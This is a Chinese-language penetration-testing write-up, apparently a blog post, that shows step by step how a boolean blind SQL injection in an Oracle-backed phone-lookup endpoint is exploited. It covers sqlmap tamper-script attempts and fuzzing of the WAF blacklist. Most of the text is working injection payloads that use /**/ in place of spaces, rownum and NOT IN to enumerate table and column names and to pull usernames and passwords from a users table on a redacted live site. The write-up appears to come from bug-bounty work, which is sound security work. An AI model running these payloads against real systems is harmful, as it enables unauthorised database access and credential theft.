关于oracle注射获取数据的实战文章还是比较少的，比较多的都是写写思路或者罗列一些payload就结束了，再比较好一点的也就是绕个WAF获取个库名，真的把数据跑出来的文还是寥寥无几的，也许是因为工作或SRC要求如此吧，但是真的去跑数据的时候还是会遇到各种挑战的，且与君共享一篇oracle注射获取数据的文吧。
0x00 sqlmap梭哈? 经典盲注 http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'1&companysID=1 http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'2&companysID=1 典型的盲注，判断出注入后，多数情况下会想到sqlmap梭哈，但是结果却是这样的： sqlmap也很温馨的提示了，说是可以添加tamper脚本进行尝试，玩了一段时间注入的到这里很容易就想到了可能遇上安全防护了，当然这是后话，我们可以根据sqlmap的提示接着往下走，比如--tamper=space2comment 有结果了，瞬间对sqlmap又燃起了希望，接着跑库名试试 未果，继续根据提示进行操作 GG，这次不得行了，到这里单纯靠sqlmap显得不靠谱了，接下来就需要去摸清服务端的过滤规则了。
0x01 Fuzz黑名单注出库名 通过第一步得知空格被过滤了，输入被过滤的字符，看看服务端的响应： 服务端给出了友好提示，那我们直接fuzz字符，然后根据服务端响应就可以摸清过滤规则了 第一种，直接fuzz(%00-%ff) 第二种，自定义字符字典(记得选中编码，GET请求URI中的特殊字符多数是需要url编码的，否则服务端会返回400) 很明显的看到<和>被过滤了，还有一个比较常用的|字符被干掉了，知道了这两点，其实跑个库名就很简单了，用between and替代大于小于号就行，继续利用sqlmap的tamper脚本 多数情况下挖到这里其实就可以交差结束战斗了，但是毕竟2023年第一个oracle注入，必须跑出数据呀，直接sqlmap 意料之中，因为|被干掉了，sqlmap跑oracle数据的payload中借助了|符号(挂个代理看payload发现的) (sqlmap.py --purge可以清除历史记录哟) 0x02 半手工出数据
根据oracle数据库中固有的字段来跑数据 user_tables table_name user_tab_columns column_name 通过rownum和not in进行单行数据输出 比较幸运的是length、substr、逗号都没有被干掉
具体操作如下： 1、获取表的数量 payload： 13111111111'and/**/(select/**/count(table_name)/**/from/**/user_tables)=/**/1/**/and'1'like'1
13111111111'and/**/(select/**/count(table_name)/**/from/**/user_tables)=/**/1/**/and'1'like'1
2、获取表名 先判断第一个表名长度 payload： 13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1)=/**/1/**/and'1'like'1 借助burp判断第一个表名长度：14
13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1)=/**/1/**/and'1'like'1
获取表名数据 payload： 13111111111'and/**/(select/**/substr(table_name,1,1)/**/from/**/user_tables/**/where/**/rownum=1)=/**/'A'/**/and'1'like'1 (oracle数据库的库名、表名、字段都是需要大写的，还有常见的字符如、$和数字，其中$需要进行url编码哟) 其它字符以此类推，最终注出第一个表名：BA******NEWS
13111111111'and/**/(select/**/substr(table_name,1,1)/**/from/**/user_tables/**/where/**/rownum=1)=/**/'A'/**/and'1'like'1
注出了第一个表名，后续表名借助rownum实现即可 判断第二个表名长度，只要not in第一个表名即可 payload： 13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1/**/and/**/table_name/**/not/**/in/**/('BA******_NEWS'))=/**/§1§/**/and'1'like'1 后续字符以此类推，其它表名玩法一样。
13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1/**/and/**/table_name/**/not/**/in/**/('BA******_NEWS'))=/**/§1§/**/and'1'like'1
3、获取列名
先判断第一个列名长度 payload： 13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1 获取第一个列名字符 payload： 13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1 获取其它列名的方法和获取表名一样，借助not in实现 还是同样的先判断列名长度 13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1 再一一获取列名字符 13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1 …… 这里也可以写脚本跑哈，我比较懒，就直接burp操作了一波，跑出一些可能包含敏感数据的表名就停下，然后跑其中的数据就行
13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1
13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1
13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1
13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1
4、获取敏感数据
经过了一段时间的注入，获取到了一个敏感表名：BA******_USERS，对应的字段：USERNAME，PASSWORD 接下来就直接获取对应的数据就行了，跑出一两条，证明危害即可哈
先判断第一个用户名长度 13111111111'and/**/(select/**/length(USERNAME)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1 跑数据 13111111111'and/**/(select/**/substr(USERNAME,§0§,1)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1 按顺序组合即可获取对应数据：ba******admin 获取PASSWORD字段内容方法同上。
13111111111'and/**/(select/**/length(USERNAME)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1
13111111111'and/**/(select/**/substr(USERNAME,§0§,1)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1
0x03 总结
犹豫了两天，终于写了这个文，竟然用了两个小时的时间，写的还算比较细了，整个思路和利用过程基本都写到了，就这样吧，以后估计也不会如此细致的写注入的文了，且看且珍惜。
欢迎关注公众号私聊哈
